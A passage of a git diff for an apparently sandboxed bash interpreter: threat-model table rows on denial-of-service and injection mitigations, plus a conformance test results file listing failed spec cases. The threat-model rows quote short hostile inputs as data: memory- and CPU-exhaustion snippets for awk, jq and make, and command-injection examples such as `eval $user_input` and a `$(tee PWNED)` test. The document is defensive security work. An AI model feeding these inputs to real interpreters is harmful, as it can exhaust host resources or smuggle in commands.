aborts the host | A value that keeps growing inside awk (`s = s s`, `gsub` with a long replacement, `sprintf("%s%s%s", s, s, s)`, `$1000000000 = 1`, filling arrays, deep recursion shadowing large values) or jq (`until(false; . + .)`, `"x" * 1e12`, `[range(1e12)]`, a non-emitting `until(false; .)` growing evaluator state) allocates until the allocator fails and the embedding process aborts with SIGABRT (#2444) | awk: every string is checked against `AWK_MAX_STRING_BYTES` (16 MiB) *before* it is allocated (concat, `SUBSEP` keys, `sub`/`gsub`/`gensub` as the result grows, `sprintf`/`printf`, `print` joins, rebuilt `$0`); `$N` assignment is capped at `AWK_MAX_FIELD_INDEX`; variables, array elements and values parked in call frames are accounted and capped at `ExecutionLimits::max_live_intermediate_bytes` (default 32 MB); each is a fatal awk error (exit 2) and the script carries on. jq: jaq-json is vendored with a live-memory meter charging every string and array/object body to the same limit, checked before growth (`jq: error: value size limit (N bytes) exceeded`, exit 5), sticky across `try`; value operations poll the execution deadline so non-emitting loops stop at the timeout; output conversion is capped by `max_stdout_bytes`; `--stream` events are produced incrementally with shared ancestor keys, metered cursor/path/event bodies and pre-allocation checks, including `--slurp`, and every traversal step checks shared work/cancellation/deadline limits. Regression tests: stream memory/work coverage in `execution_budget_tests` and `memory_growth_security_tests`. Jq evaluator contexts are now counted (64 live-context ceiling) and every context clone polls the deadline, so pure tail recursion times out and non-tail recursion fails before host stack exhaustion (#2465). The unwind-based abort requires `panic = "unwind"`; panic-abort embedders need process isolation for untrusted jq | **MITIGATED** | | TM-DOS-114 | Arrays bypass the retained-memory byte budget | `max_array_entries` counted entries but never their keys or values, so `x` doubled to 4 MiB and parked in ten array slots retained ~40 MB past the 10 MB variable-byte budget and exited 0 (#2462) | Array keys and values charge `max_total_variable_bytes` alongside scalars (`MemoryBudget::array_bytes`; indexed keys are machine integers already covered by the entry count, associative keys are attacker-controlled so they count). Element writes, `+=` appends, bulk `a=(...)` replacement, and `declare -A` compound writes are checked before insertion; bytes are released on element unset, whole-array unset, replacement, and local scope pop. An over-budget write records the first memory-limit error and fails execution (TM-DOS-111 mechanism) rather than dropping the value; reaching `max_array_entries` keeps its established silent-skip behaviour (TM-DOS-060). Regression tests: `array_budget_security_tests` | **MITIGATED** | @@ -296,6 +296,7 @@ runaway scripts without permanently breaking the session. | TM-DOS-126 | make amplification | Recursive variables (`X = $(X)$(X)`), self-including makefiles, `$(MAKE)` recursion, huge dependency graphs or `$(wildcard **)` fan-out turning one `make` call into unbounded CPU, memory or stack | Expansion depth 200 and 4 MiB per expansion, recursive self-reference is fatal as in GNU; include depth 16; at most 100,000 targets, 10,000 `$(shell)`/`$(wildcard)`/`include` answers and 100,000 paths per `$(wildcard)` per run; `$(MAKE)` stops at MAKELEVEL 4, sized so the deepest recursion fits a 2 MiB debug thread stack (each level is roughly 200 KiB of make, `sh -c` and interpreter frames). Recipes run as ordinary `sh -c` commands under the session's budget, timeout and cancel token. Regressions: `builtins::make::expand::tests`, `l_make_003_sequential_sandbox_shell` | **MITIGATED** | | TM-DOS-127 | Pattern substitution amplification | `${x//pattern/rep}` with a glob pattern over a long value, or a huge pattern, turning one expansion into quadratic matching | Glob patterns compile to a size-capped (1 MiB) linear-time regex; extglob patterns fall back to at most 10,000 `glob_match` attempts and leave the value unchanged past the budget; results stay under `MAX_EXPANSION_RESULT_BYTES`. Regressions: `param-operand-quotes.test.sh`, `replace_pattern_extglob_budget` | **MITIGATED** | | TM-DOS-128 | awk command amplification | `system()`, `print \| cmd` and `cmd \| getline` in a loop, or a command whose output floods awk | Commands run as ordinary `sh -c` commands through the awk execution-plan driver, under the session's command budget, timeout and cancel token; loops around them hit the awk loop caps (TM-DOS-033); `print \| cmd` input and `cmd \| getline` output count toward the awk output cap (TM-DOS-028 caps) and the getline open-file and retained-byte caps (TM-DOS-116), charged to the request budget. Per awk call level the evaluator keeps one small boxed future per expression or statement, so the 64-level call cap fits in about 512 KiB of debug-build stack. Regressions: `test_awk_print_redirect_pipe_needs_plan_driver`, `test_awk_recursive_function_depth_limit` | **MITIGATED** | +| TM-DOS-129 | Command hash table growth | `hash -p /x nameN` or running many distinct PATH commands grows the per-shell command hash table without bound | `CommandHash` holds at most 512 entries and drops the oldest past that; a PATH assignment empties it. Regression: `command_hash_table_is_bounded` | **MITIGATED** | | TM-DOS-101 | yq structured-data amplification | YAML aliases can expand exponentially during deserialization; deep YAML/JSON, document floods, jaq generators, and YAML re-serialization can consume stack, CPU, or memory beyond the source size | Reject YAML alias tokens with a bounded lexical pass before deserialization; VFS/stdin and aggregate input budgets; serde_yaml_ng recursion cap 128 plus Bashkit depth 100; 4096-document cap; shared jaq work/deadline/output limits; post-serialization stdout cap; YAML+JSON depth/document/input/output regressions plus `yq_fuzz` and arbitrary-input proptest | **MITIGATED** | | TM-DOS-107 | Static-analysis command validation amplification | A large comment before thousands of commands makes a whole-script ordered-subsequence scan per command | Build one source-character position index, then validate each analyzed command-name character with a logarithmic position lookup instead of rescanning source | **MITIGATED** | **TM-DOS-051** is historical. The custom parser was deleted with the `yaml` @@ -675,6 +676,7 @@ Covered by `threat_env_vars_explicit_only`. | TM-INJ-002 | Backtick injection | `` `$malicious` `` | Parsed as command sub | **MITIGATED** | | TM-INJ-003 | eval bypass | `eval $user_input` | eval sandboxed (builtins only) | **MITIGATED** | | TM-INJ-025 | Reference host-command bridge re-parses arguments | Joining parsed arguments into `sh -c` / `cmd /C` turns quoted metacharacters back into host-shell syntax | The adoption bridge launches a concrete executable and passes every caller argument as a separate argv value; regression covers Unix and Windows shell metacharacters | **MITIGATED** | +| TM-INJ-026 | Redirect target re-expansion | A target like `> $v` (or `> out-*`) is expanded (split, globbed) to decide whether it names one file; expanding it again later could run `$(...)` text held in a value or glob it twice | `resolve_split_redirect_targets` expands a target that may split once, refuses zero or several words as `ambiguous redirect` (status 1, nothing written), and replaces it with a quoted literal so later stages never expand it again; quoted targets (`> "b*"`) are never globbed. Regression: `redirect_target_expanded_once` | **MITIGATED** | **Current Risk**: MEDIUM - Internal variable namespace injection (TM-INJ-009) needs remediation @@ -1421,6 +1423,8 @@ This section maps former vulnerability IDs to the new threat ID scheme and track | Shared request execution budget | TM-DOS-096 | `limits.rs`, `parser/mod.rs`, `interpreter/mod.rs`, high-risk builtins/runtimes | Yes | | Pre-allocation buffer admission | TM-DOS-103 | `limits.rs`, `builtins/archive.rs` | Yes | | Persistent custom fd cap | TM-DOS-063 | `limits.rs`, `interpreter/mod.rs` | Yes | +| Command hash table cap (512) | TM-DOS-129 | `builtins/introspect.rs` | Yes | +| Single expansion of redirect targets | TM-INJ-026 | `interpreter/redirection.rs` | Yes | | Command history caps | TM-DOS-094 | `limits.rs`, `interpreter/mod.rs`, `builtins/environ.rs` | Yes | | Virtual filesystem | TM-ESC-001, TM-ESC-003, TM-ESC-033 | `fs/memory.rs`, `fs/overlay.rs`, `fs/realfs.rs` | Yes | | Filesystem limits | TM-DOS-005 to TM-DOS-010, TM-DOS-014 | `fs/limits.rs` | Yes | diff --git a/scripts/oils-spec/results/oils-spec-linux-x86_64-20261008T152730Z.json b/scripts/oils-spec/results/oils-spec-linux-x86_64-20261008T152730Z.json new file mode 100644 index 000000000..a2476821c --- /dev/null +++ b/scripts/oils-spec/results/oils-spec-linux-x86_64-20261008T152730Z.json @@ -0,0 +1,4827 @@ +{ + "schema": 1, + "oils_repo": "https://github.com/oils-for-unix/oils", + "oils_rev": "57d3f0d088c36340bc4b3038208e58ea02acf15c", + "bashkit_commit": "017d9bfb4f3d", + "bash_version": "5.2.21(1)-release", + "timestamp": "2026-10-08T15:27:30Z", + "platform": "linux-x86_64", + "jobs": 4, + "timeout_secs": 10, + "elapsed_secs": 25.9, + "files_run": 132, + "files_skipped": 91, + "total": { + "cases": 2759, + "bashkit_pass": 2218, + "bashkit_pass_pct": 80.4, + "bash_pass": 2692, + "bash_pass_pct": 97.6, + "bashkit_pass_of_bash": 2211, + "pass_rate": 82.1 + }, + "failure_classes": { + "behavior": 338, + "host": 11, + "interactive": 109, + "processes": 13, + "signals": 10 + }, + "files": { + "builtin-completion": { + "summary": { + "cases": 51, + "bashkit_pass": 17, + "bashkit_pass_pct": 33.3, + "bash_pass": 51, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 17, + "pass_rate": 33.3 + }, + "missed": [ + { + "case": 0, + "name": "complete with no args and complete -p both print completion spec", + "class": "interactive", + "on": "stdout" + }, + { + "case": 1, + "name": "complete -F f is usage error", + "class": "interactive", + "on": "stdout" + }, + { + "case": 2, + "name": "complete with nonexistent function", + "class": "interactive", + "on": "stdout" + }, + { + "case": 3, + "name": "complete with no action", + "class": "interactive", + "on": "stdout" + }, + { + "case": 5, + "name": "Invalid syntax", + "class": "interactive", + "on": "stdout" + }, + { + "case": 6, + "name": "how compgen calls completion functions", + "class": "interactive", + "on": "stdout" + }, + { + "case": 7, + "name": "complete -o -F (git)", + "class": "interactive", + "on": "status" + }, + { + "case": 8, + "name": "compopt with invalid syntax", + "class": "interactive", + "on": "stdout" + }, + { + "case": 9, + "name": "compopt fails when not in completion function", + "class": "interactive", + "on": "status" + }, + { + "case": 14, + "name": "compgen -v P", + "class": "interactive", + "on": "stdout" + }, + { + "case": 15, + "name": "compgen -e with global/local exported vars", + "class": "interactive", + "on": "stdout" + }, + { + "case": 18, + "name": "compgen -e P", + "class": "interactive", + "on": "stdout" + }, + { + "case": 19, + "name": "compgen with actions: function / variable / file", + "class": "interactive", + "on": "stdout" + }, + { + "case": 20, + "name": "compgen with actions: alias, setopt", + "class": "interactive", + "on": "stdout" + }, + { + "case": 21, + "name": "compgen with actions: shopt", + "class": "interactive", + "on": "stdout" + }, + { + "case": 22, + "name": "compgen with action and suffix: helptopic", + "class": "interactive", + "on": "stdout" + }, + { + "case": 25, + "name": "compgen -A user", + "class": "interactive", + "on": "status" + }, + { + "case": 28, + "name": "compgen -A command completes builtins and keywords", + "class": "interactive", + "on": "stdout" + }, + { + "case": 29, + "name": "compgen -k shows the same keywords as bash", + "class": "processes", + "on": "stdout" + }, + { + "case": 31, + "name": "compgen -k completes reserved shell keywords", + "class": "interactive", + "on": "stdout" + }, + { + "case": 32, + "name": "-o filenames and -o nospace have no effect with compgen", + "class": "interactive", + "on": "stdout" + }, + { + "case": 33, + "name": "-o plusdirs and -o dirnames with compgen", + "class": "interactive", + "on": "stdout" + }, + { + "case": 34, + "name": "compgen -o default completes files and dirs", + "class": "interactive", + "on": "stdout" + }, + { + "case": 35, + "name": "compgen doesn't respect -X for user-defined functions", + "class": "interactive", + "on": "stdout" + }, + { + "case": 36, + "name": "compgen -W words -X filter", + "class": "interactive", + "on": "stdout" + }, + { + "case": 37, + "name": "compgen -f -X filter -- $cur", + "class": "interactive", + "on": "stdout" + }, + { + "case": 39, + "name": "compgen -W 'one two three'", + "class": "interactive", + "on": "stdout" + }, + { + "case": 40, + "name": "compgen -W evaluates code in $()", + "class": "interactive", + "on": "stdout" + }, + { + "case": 41, + "name": "compgen -W uses IFS, and delimiters are escaped with \\", + "class": "interactive", + "on": "stdout" + }, + { + "case": 42, + "name": "Parse errors for compgen -W and complete -W", + "class": "interactive", + "on": "stdout" + }, + { + "case": 43, + "name": "Runtime errors for compgen -W", + "class": "interactive", + "on": "stdout" + }, + { + "case": 46, + "name": "compgen -A builtin", + "class": "interactive", + "on": "stdout" + }, + { + "case": 47, + "name": "complete -C vs. compgen -C", + "class": "interactive", + "on": "stdout" + }, + { + "case": 50, + "name": "compgen -F with scalar COMPREPLY", + "class": "interactive", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "prompt": { + "summary": { + "cases": 33, + "bashkit_pass": 4, + "bashkit_pass_pct": 12.1, + "bash_pass": 29, + "bash_pass_pct": 87.9, + "bashkit_pass_of_bash": 4, + "pass_rate": 13.8 + }, + "missed": [ + { + "case": 2, + "name": "literal escapes", + "class": "interactive", + "on": "stdout" + }, + { + "case": 4, + "name": "PS1 evaluation order", + "class": "interactive", + "on": "stdout" + }, + { + "case": 5, + "name": "PS1 evaluation order 2", + "class": "interactive", + "on": "stdout" + }, + { + "case": 6, + "name": "\\1004", + "class": "interactive", + "on": "stdout" + }, + { + "case": 7, + "name": "\\001 octal literals are supported", + "class": "interactive", + "on": "stdout" + }, + { + "case": 8, + "name": "\\555 is beyond max octal byte of \\377 and wrapped to m", + "class": "interactive", + "on": "stdout" + }, + { + "case": 11, + "name": "Escaped backslash", + "class": "interactive", + "on": "stdout" + }, + { + "case": 12, + "name": "\\0001 octal literals are not supported", + "class": "interactive", + "on": "stdout" + }, + { + "case": 13, + "name": "\\u0001 unicode literals not supported", + "class": "interactive", + "on": "stdout" + }, + { + "case": 15, + "name": "hostname", + "class": "interactive", + "on": "stdout" + }, + { + "case": 16, + "name": "username", + "class": "interactive", + "on": "stdout" + }, + { + "case": 17, + "name": "current working dir", + "class": "interactive", + "on": "stdout" + }, + { + "case": 18, + "name": "\\W is basename of working dir", + "class": "interactive", + "on": "stdout" + }, + { + "case": 19, + "name": "\\t for 24h time (HH:MM:SS)", + "class": "interactive", + "on": "stdout" + }, + { + "case": 20, + "name": "\\T for 12h time (HH:MM:SS)", + "class": "interactive", + "on": "stdout" + }, + { + "case": 21, + "name": "\\@ for 12h time (HH:MM AM/PM)", + "class": "interactive", + "on": "stdout" + }, + { + "case": 22, + "name": "\\A for 24h time (HH:MM)", + "class": "interactive", + "on": "stdout" + }, + { + "case": 23, + "name": "\\d for date", + "class": "interactive", + "on": "stdout" + }, + { + "case": 24, + "name": "\\D{%H:%M} for strftime", + "class": "interactive", + "on": "stdout" + }, + { + "case": 25, + "name": "\\D{} for locale specific strftime", + "class": "interactive", + "on": "stdout" + }, + { + "case": 26, + "name": "\\s for shell, \\v for major.minor version, and \\V for full version", + "class": "interactive", + "on": "stdout" + }, + { + "case": 27, + "name": "\\j for number of jobs", + "class": "signals", + "on": "stdout" + }, + { + "case": 28, + "name": "\\l for TTY device basename", + "class": "interactive", + "on": "stdout" + }, + { + "case": 29, + "name": "\\! for history number", + "class": "interactive", + "on": "stdout" + }, + { + "case": 30, + "name": "\\# for command number", + "class": "interactive", + "on": "stdout" + } + ], + "bash_fails": [ + 0, + 1, + 3, + 32 + ] + }, + "array": { + "summary": { + "cases": 78, + "bashkit_pass": 55, + "bashkit_pass_pct": 70.5, + "bash_pass": 78, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 55, + "pass_rate": 70.5 + }, + "missed": [ + { + "case": 3, + "name": "space before ( in array initialization", + "class": "behavior", + "on": "status" + }, + { + "case": 5, + "name": "array with invalid token", + "class": "behavior", + "on": "status" + }, + { + "case": 9, + "name": "Negative index", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "Negative index and sparse array", + "class": "behavior", + "on": "stdout" + }, + { + "case": 11, + "name": "Negative index and sparse array", + "class": "behavior", + "on": "stdout" + }, + { + "case": 12, + "name": "Length after unset", + "class": "behavior", + "on": "stdout" + }, + { + "case": 15, + "name": "Retrieve index that is a command sub", + "class": "behavior", + "on": "stdout" + }, + { + "case": 18, + "name": "${!a[1]} is named ref in bash", + "class": "behavior", + "on": "stdout" + }, + { + "case": 20, + "name": "All elements unquoted", + "class": "behavior", + "on": "stdout" + }, + { + "case": 22, + "name": "$*", + "class": "behavior", + "on": "stdout" + }, + { + "case": 25, + "name": "Exporting array doesn't do anything, not even first element", + "class": "behavior", + "on": "stdout" + }, + { + "case": 27, + "name": "Arrays can't be used as env bindings", + "class": "behavior", + "on": "stdout" + }, + { + "case": 28, + "name": "Associative arrays can't be used as env bindings either", + "class": "behavior", + "on": "stdout" + }, + { + "case": 32, + "name": "Set array item to array", + "class": "behavior", + "on": "stdout" + }, + { + "case": 33, + "name": "Slice of array with [@]", + "class": "behavior", + "on": "stdout" + }, + { + "case": 34, + "name": "Negative slice begin", + "class": "behavior", + "on": "stdout" + }, + { + "case": 36, + "name": "Slice with arithmetic", + "class": "behavior", + "on": "stdout" + }, + { + "case": 59, + "name": "Slice of sparse array with [@]", + "class": "behavior", + "on": "stdout" + }, + { + "case": 63, + "name": "Dynamic parsing of LHS a[$code]=value", + "class": "behavior", + "on": "stdout" + }, + { + "case": 71, + "name": "Regression: Negative out-of-range index in [[ -v a[index] ]]", + "class": "behavior", + "on": "stderr" + }, + { + "case": 73, + "name": "Regression: unset a[-2]: out-of-bound negative index should cause error", + "class": "behavior", + "on": "stderr" + }, + { + "case": 75, + "name": "Regression: Array length after unset", + "class": "behavior", + "on": "stdout" + }, + { + "case": 77, + "name": "Regression: silent out-of-bound negative index in ${a[-2]} and $((a[-2]))", + "class": "behavior", + "on": "stderr" + } + ], + "bash_fails": [] + }, + "builtin-trap-bash": { + "summary": { + "cases": 23, + "bashkit_pass": 4, + "bashkit_pass_pct": 17.4, + "bash_pass": 23, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 4, + "pass_rate": 17.4 + }, + "missed": [ + { + "case": 3, + "name": "trap DEBUG ignores $?", + "class": "behavior", + "on": "stdout" + }, + { + "case": 4, + "name": "but trap DEBUG respects errexit", + "class": "behavior", + "on": "stdout" + }, + { + "case": 5, + "name": "trap DEBUG with 'return'", + "class": "behavior", + "on": "stdout" + }, + { + "case": 6, + "name": "trap DEBUG with 'exit'", + "class": "behavior", + "on": "stdout" + }, + { + "case": 7, + "name": "trap DEBUG with non-compound commands", + "class": "behavior", + "on": "stdout" + }, + { + "case": 8, + "name": "trap DEBUG and control flow", + "class": "behavior", + "on": "stdout" + }, + { + "case": 9, + "name": "trap DEBUG and command sub / subshell", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "trap DEBUG not run in forked interpreter for first pipeline part", + "class": "behavior", + "on": "stdout" + }, + { + "case": 11, + "name": "One 'echo' in first pipeline part - why does bash behave differently from case above?", + "class": "behavior", + "on": "stdout" + }, + { + "case": 12, + "name": "trap DEBUG and pipeline (lastpipe difference)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 13, + "name": "trap DEBUG function call", + "class": "behavior", + "on": "stdout" + }, + { + "case": 14, + "name": "trap DEBUG case", + "class": "behavior", + "on": "stdout" + }, + { + "case": 15, + "name": "trap DEBUG for each", + "class": "behavior", + "on": "stdout" + }, + { + "case": 16, + "name": "trap DEBUG for expr", + "class": "behavior", + "on": "stdout" + }, + { + "case": 17, + "name": "trap DEBUG if while", + "class": "behavior", + "on": "stdout" + }, + { + "case": 19, + "name": "Compare trap DEBUG vs. trap ERR", + "class": "behavior", + "on": "stdout" + }, + { + "case": 20, + "name": "Combine DEBUG trap and USR1 trap", + "class": "signals", + "on": "stdout" + }, + { + "case": 21, + "name": "Combine ERR trap and USR1 trap", + "class": "signals", + "on": "stdout" + }, + { + "case": 22, + "name": "Combine DEBUG trap and ERR trap", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "var-ref": { + "summary": { + "cases": 31, + "bashkit_pass": 15, + "bashkit_pass_pct": 48.4, + "bash_pass": 30, + "bash_pass_pct": 96.8, + "bashkit_pass_of_bash": 15, + "pass_rate": 50.0 + }, + "missed": [ + { + "case": 2, + "name": "${!undef:-}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 4, + "name": "${!a[@]-'default'} is legal but fails with more than one element", + "class": "behavior", + "on": "stdout" + }, + { + "case": 7, + "name": "var ref: 1, @, *", + "class": "behavior", + "on": "stdout" + }, + { + "case": 16, + "name": "var ref TO array var", + "class": "behavior", + "on": "stdout" + }, + { + "case": 17, + "name": "var ref TO array var, with subscripts", + "class": "behavior", + "on": "stdout" + }, + { + "case": 18, + "name": "var ref TO assoc array a[key]", + "class": "behavior", + "on": "stdout" + }, + { + "case": 19, + "name": "var ref TO array with arbitrary subscripts", + "class": "behavior", + "on": "stdout" + }, + { + "case": 21, + "name": "Indirect expansion TO fancy expansion features bash disallows", + "class": "behavior", + "on": "stdout" + }, + { + "case": 22, + "name": "Bad var ref", + "class": "behavior", + "on": "stdout" + }, + { + "case": 23, + "name": "Bad var ref 2", + "class": "behavior", + "on": "stdout" + }, + { + "case": 26, + "name": "Var Ref Code Injection $(tee PWNED)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 27, + "name": "${!array_ref:-set} and ${!array_ref:=assign}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 28, + "name": "Array indirect expansion with suffix operators", + "class": "behavior", + "on": "stdout" + }, + { + "case": 29, + "name": "Array indirect expansion with replacements", + "class": "behavior", + "on": "stdout" + }, + { + "case": 30, + "name": "Array indirect expansion with @? conversion", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 12 + ] + }, + "builtin-fc": { + "summary": { + "cases": 14, + "bashkit_pass": 2, + "bashkit_pass_pct": 14.3, + "bash_pass": 14, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 2, + "pass_rate": 14.3 + }, + "missed": [ + { + "case": 0, + "name": "fc -l lists history commands", + "class": "interactive", + "on": "stdout" + }, + { + "case": 1, + "name": "fc -ln lists history commands without numbers", + "class": "interactive", + "on": "stdout" + }, + { + "case": 2, + "name": "fc -lr lists history commands in reverse order", + "class": "interactive", + "on": "stdout" + }, + { + "case": 3, + "name": "fc -lnr lists history commands without numbers in reverse order", + "class": "interactive", + "on": "stdout" + }, + { + "case": 4, + "name": "fc -l lists history commands with default page size", + "class": "interactive", + "on": "stdout" + }, + { + "case": 5, + "name": "fc -l [first] where first is an index", + "class": "interactive", + "on": "stdout" + }, + { + "case": 6, + "name": "fc -l [first] where first is an offset from current command", + "class": "interactive", + "on": "stdout" + }, + { + "case": 7, + "name": "fc -l [first] [last] where first and last are indexes", + "class": "interactive", + "on": "stdout" + }, + { + "case": 8, + "name": "fc -l [first] [last] where first and last are offsets from current command", + "class": "interactive", + "on": "stdout" + }, + { + "case": 9, + "name": "fc -l [first] [last] where first and last are reversed indexes", + "class": "interactive", + "on": "stdout" + }, + { + "case": 10, + "name": "fc -lr [first] [last] where first and last are reversed indexes does not undo reverse", + "class": "interactive", + "on": "stdout" + }, + { + "case": 12, + "name": "fc errors out on too many args with strict_arg_parse", + "class": "interactive", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-history": { + "summary": { + "cases": 17, + "bashkit_pass": 5, + "bashkit_pass_pct": 29.4, + "bash_pass": 17, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 5, + "pass_rate": 29.4 + }, + "missed": [ + { + "case": 0, + "name": "history -a", + "class": "interactive", + "on": "stdout" + }, + { + "case": 1, + "name": "history -w writes out the in-memory history to the history file", + "class": "interactive", + "on": "stdout" + }, + { + "case": 2, + "name": "history -r reads from the history file, and appends it to the current history", + "class": "interactive", + "on": "stdout" + }, + { + "case": 3, + "name": "history -n reads *new* commands from the history file, and appends them to the current history", + "class": "interactive", + "on": "stdout" + }, + { + "case": 4, + "name": "history -c clears in-memory history", + "class": "interactive", + "on": "stdout" + }, + { + "case": 6, + "name": "history -d to delete history from end", + "class": "interactive", + "on": "stdout" + }, + { + "case": 9, + "name": "HISTFILE set to array", + "class": "interactive", + "on": "stdout" + }, + { + "case": 11, + "name": "history usage", + "class": "interactive", + "on": "stdout" + }, + { + "case": 12, + "name": "HISTSIZE shrinks the in-memory history when changed", + "class": "interactive", + "on": "stdout" + }, + { + "case": 13, + "name": "HISTFILESIZE shrinks the history file when changed", + "class": "behavior", + "on": "stdout" + }, + { + "case": 14, + "name": "recording history can be toggled with set -o/+o history", + "class": "interactive", + "on": "stdout" + }, + { + "case": 16, + "name": "shopt histappend - osh ignores shopt and appends, bash sometimes overwrites", + "class": "interactive", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "interactive": { + "summary": { + "cases": 18, + "bashkit_pass": 7, + "bashkit_pass_pct": 38.9, + "bash_pass": 18, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 7, + "pass_rate": 38.9 + }, + "missed": [ + { + "case": 0, + "name": "'exit' in oshrc (regression)", + "class": "interactive", + "on": "stdout" + }, + { + "case": 2, + "name": "interactive shell loads rcfile (when combined with -c)", + "class": "interactive", + "on": "stdout" + }, + { + "case": 7, + "name": "interactive shell runs PROMPT_COMMAND after each command", + "class": "interactive", + "on": "stdout" + }, + { + "case": 10, + "name": "Error message with bad oshrc file (currently ignored)", + "class": "interactive", + "on": "stdout" + }, + { + "case": 11, + "name": "PROMPT_COMMAND can see $?, like bash", + "class": "interactive", + "on": "stdout" + }, + { + "case": 12, + "name": "PROMPT_COMMAND that writes to BASH_REMATCH", + "class": "interactive", + "on": "stdout" + }, + { + "case": 13, + "name": "NO ASSERTIONS: Are startup files sourced before or after job control?", + "class": "processes", + "on": "status" + }, + { + "case": 14, + "name": "HISTFILE is written in interactive shell", + "class": "behavior", + "on": "stdout" + }, + { + "case": 15, + "name": "HISTFILE default value", + "class": "interactive", + "on": "stdout" + }, + { + "case": 16, + "name": "HISTFILE=my-history loads history from that file, and writes back to it", + "class": "interactive", + "on": "stdout" + }, + { + "case": 17, + "name": "HISTFILE=my-history with history -a", + "class": "interactive", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "array-assign": { + "summary": { + "cases": 11, + "bashkit_pass": 1, + "bashkit_pass_pct": 9.1, + "bash_pass": 11, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 1, + "pass_rate": 9.1 + }, + "missed": [ + { + "case": 1, + "name": "Indexed LHS with spaces", + "class": "behavior", + "on": "stdout" + }, + { + "case": 2, + "name": "Nested a[i[0]]=0", + "class": "behavior", + "on": "stdout" + }, + { + "case": 3, + "name": "Multiple LHS array words", + "class": "behavior", + "on": "stdout" + }, + { + "case": 4, + "name": "LHS array is protected with shopt -s eval_unsafe_arith, e.g. 'a[$(echo 2)]'", + "class": "behavior", + "on": "stdout" + }, + { + "case": 5, + "name": "file named a[ is not executed", + "class": "host", + "on": "stdout" + }, + { + "case": 6, + "name": "More fragments like a[ a[5 a[5 + a[5 + 3]", + "class": "host", + "on": "stdout" + }, + { + "case": 7, + "name": "Are quotes allowed?", + "class": "behavior", + "on": "stdout" + }, + { + "case": 8, + "name": "Tricky parsing - a[ a[0]=1 ]=X a[ a[0]+=1 ]+=X", + "class": "behavior", + "on": "stdout" + }, + { + "case": 9, + "name": "argv.py a[1 + 2]=", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "declare builtin doesn't allow spaces", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "array-sparse": { + "summary": { + "cases": 40, + "bashkit_pass": 30, + "bashkit_pass_pct": 75.0, + "bash_pass": 40, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 30, + "pass_rate": 75.0 + }, + "missed": [ + { + "case": 11, + "name": "unset -v a[i] with out-of-bound negative index", + "class": "behavior", + "on": "stderr" + }, + { + "case": 12, + "name": "unset -v a[i] for max index", + "class": "behavior", + "on": "stdout" + }, + { + "case": 14, + "name": "[[ -v a[i] ]] with invalid negative index", + "class": "behavior", + "on": "stdout" + }, + { + "case": 16, + "name": "((sp[i])) and ((sp[i]++)) with invalid negative index", + "class": "behavior", + "on": "stderr" + }, + { + "case": 18, + "name": "${sp[i]} with negative invalid index", + "class": "behavior", + "on": "stderr" + }, + { + "case": 19, + "name": "${a[@]:offset:length}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 25, + "name": "${a[@]@P}, ${a[@]@Q}, and ${a[@]@a}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 27, + "name": "${a-}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 28, + "name": "${!a[0]}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 31, + "name": "compgen -F _set_COMPREPLY", + "class": "interactive", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-bind": { + "summary": { + "cases": 9, + "bashkit_pass": 0, + "bashkit_pass_pct": 0.0, + "bash_pass": 9, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 0, + "pass_rate": 0.0 + }, + "missed": [ + { + "case": 0, + "name": "bind -l should report readline functions", + "class": "interactive", + "on": "stdout" + }, + { + "case": 1, + "name": "bind -p -P to print function names and key bindings", + "class": "interactive", + "on": "stdout" + }, + { + "case": 2, + "name": "bind -s -S accepted", + "class": "interactive", + "on": "status" + }, + { + "case": 3, + "name": "bind -v -V accepted", + "class": "interactive", + "on": "stdout" + }, + { + "case": 4, + "name": "bind -q", + "class": "interactive", + "on": "stdout" + }, + { + "case": 5, + "name": "bind -X", + "class": "interactive", + "on": "stdout" + }, + { + "case": 6, + "name": "bind -m with bind -x/-X", + "class": "interactive", + "on": "stdout" + }, + { + "case": 7, + "name": "bind -r", + "class": "interactive", + "on": "stdout" + }, + { + "case": 8, + "name": "bind -r of bind -x commands", + "class": "interactive", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "introspect": { + "summary": { + "cases": 13, + "bashkit_pass": 3, + "bashkit_pass_pct": 23.1, + "bash_pass": 12, + "bash_pass_pct": 92.3, + "bashkit_pass_of_bash": 3, + "pass_rate": 25.0 + }, + "missed": [ + { + "case": 0, + "name": "${FUNCNAME[@]} array", + "class": "behavior", + "on": "stdout" + }, + { + "case": 1, + "name": "FUNCNAME with source (scalar or array)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 2, + "name": "BASH_SOURCE and BASH_LINENO scalar or array (e.g. for virtualenv)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 6, + "name": "$((BASH_LINENO)) (scalar form in arith)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 7, + "name": "${BASH_SOURCE[@]} with source and function name", + "class": "behavior", + "on": "stdout" + }, + { + "case": 9, + "name": "${BASH_LINENO[@]} is a stack of line numbers for function calls", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "Locations with temp frame", + "class": "behavior", + "on": "stdout" + }, + { 